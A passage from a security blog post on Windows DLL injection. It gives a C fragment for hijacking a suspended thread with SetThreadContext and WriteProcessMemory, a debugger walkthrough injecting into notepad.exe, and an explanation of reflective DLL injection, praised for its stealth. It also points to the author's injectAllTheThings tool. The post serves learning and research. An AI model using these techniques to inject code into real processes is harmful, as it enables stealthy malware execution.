4 5 6 7 8 9 10 11 ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); DWORD64 oldIP = ctx.Rip; ctx.Rip = (DWORD64)stub; ctx.ContextFlags = CONTEXT_CONTROL; WriteProcessMemory(hProcess, (void *)stub, &sc, stubLen, NULL); // write code cave SetThreadContext(hThread, &ctx); ResumeThread(hThread); So, we suspend the thread, we capture the context, and from there we extract the EIP/RIP. This is saved to resume the execution when our injected code finishes. The new EIP/RIP is set as our injected code location. We then patch all the placeholders with the return address, the DLL path name address, and the ‘LoadLibrary()’ address. Once the thread starts executing, our DLL will be loaded and once it finishes it will return back to the point it was suspended at and resume its execution there. If you feel like debugging this technique as a learning exercise, here’s how to do it. Launch the application you want to inject into, let’s say ‘notepad.exe’. Run ‘injectAllTheThings_64.exe’ with ‘x64dbg’ as shown below. That is, using the following command line (adapt to your environment): 1 "C:\Users\rui\Documents\Visual Studio 2013\Projects\injectAllTheThings\bin\injectAllTheThings_64.exe" -t 6 notepad.exe "c:\Users\rui\Documents\Visual Studio 2013\Projects\injectAllTheThings\bin\dllmain_64.dll" Set a breakpoint on the call to ‘WriteProcessMemory()’ as shown below. Let it run and when the breakpoint is hit take note of the memory address at the register RDX. If you are asking yourself why RDX is time to read about the calling convention used in x64. Have fun and come back once you finish. Step over (F8) the call to ‘WriteProcessMemory()’, launch another instance of x64dbg and attach to ‘notepad.exe’. Go to the address copied before (the one at RDX) by pressing ‘Ctrl + g’ and you will see our code cave assembly as shown below. Cool, huh!? Now set a breakpoint at the beginning of this shellcode. Go to the ‘injectAllTheThings’ debugged process and let it run. As you can see below our breakpoint is hit and we can now step over the code for fun and enjoy this piece of code working. Once we call the ‘LoadLibrary()’ function, we get our DLL loaded. This is so beautiful… Our shellcode will return to the previously saved RIP and ‘notepad.exe’ will resume execution. For the complete source code see ’t_suspendInjectResume.cpp'. Reflective DLL injection I also incorporated Stephen Fewer’s (pioneer of this technique) code into this ‘injectAllTheThings’ project, and I also built a reflective DLL to be used with this technique. Note that the DLL we’re injecting must be compiled with the appropriate includes and options, so it aligns itself with the Reflective DLL injection method. Reflective DLL injection works by copying the entire DLL into memory, so it avoids registering the DLL with the process. All the heavy lifting is already done for us. To obtain the entry point to our DLL when it’s loaded in memory we only have to use Stephen Fewer’s code. The ‘LoadRemoteLibraryR()’ function included within his project does it for us. We use the ‘GetReflectiveLoaderOffset()’ to determine the offset in our processes memory, then we use that offset plus the base address of the memory in the target/remote process (where we wrote the DLL) as the execution starting point. Too complex? Yes, it might be. Here are the main 4 steps to achieve this. 1 2 3 4 Write the DLL headers into memory Write each section into memory (by parsing the section table) Check imports and load any other imported DLLs Call the DllMain entry-point This technique offers a great level of stealth in comparison to the other methods, and is massively used in Metasploit. If you want to know more just go to the official GitHub repository. Also, make sure to read Stephen Fewer’s paper about it here. Also, have a look at Loading a DLL from memory from Joachim Bauch, author of MemoryModule and this nice post about Loading Win32/64 DLLs “manually” without LoadLibrary(). Code There are some more obscure and complex injection methods around. So I’ll eventually update the ‘injectAllTheThings’ project in the future. Some of the most interesting ones I’ve seen lately are: The one used by DOUBLEPULSAR The one written by @zerosum0x0, Reflective DLL injection using SetThreadContext() and NtContinue() described here and code available here. All of the techniques I described above are implemented in one single project I made available at GitHub. It also includes the required DLLs for each of the techniques. The table below makes it easy to understand what’s actually implemented and how to use it. Method 32 bits 64 bits DLL to use CreateRemoteThread() + + dllmain_32.dll / dllmain_64.dll NtCreateThreadEx() + + dllmain_32.dll / dllmain_64.dll QueueUserAPC() + + dllmain_32.dll / dllmain_64.dll SetWindowsHookEx() + + dllpoc_32.dll / dllpoc_64.dll RtlCreateUserThread() + + dllmain_32.dll / dllmain_64.dll SetThreadContext() + + dllmain_32.dll / dllmain_64.dll Reflective DLL + + rdll_32.dll / rdll_64.dll Needless to say, to be on the safe side, always use injectAllTheThings_32.exe to inject into 32 bits processes or injectAllTheThings_64.exe to inject into 64 bits processes. Although, you can also use injectAllTheThings_64.exe to inject into 32 bits processes. And actually, I didn’t implement it, but I might have to give it a try later, you can go from WoW64 to 64 bits. Which is basically what Metasploit ‘smart_migrate’ does. Have a look here. The code for the whole project, including DLLs is available at GitHub. Compile for 32 and 64 bits, with or without debugging and have fun. References http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf https://warroom.securestate.com/dll-injection-part-1-setwindowshookex/ https://warroom.securestate.com/dll-injection-part-2-createremotethread-and-more/ http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html http://resources.infosecinstitute.com/using-createremotethread-for-dll-injection-on-windows/ http://securityxploded.com/ntcreatethreadex.php https://www.codeproject.com/Tips/211962/Bit-Injection-Cave http://www.blizzhackers.cc/viewtopic.php?p=2483118 http://resources.infosecinstitute.com/code-injection-techniques/ Windows via C/C++ 5th Edition Authored by rui Jul 16th, 2017 7:49 pm Sursa: http://blog.deniable.org/blog/2017/07/16/inject-all-the-things/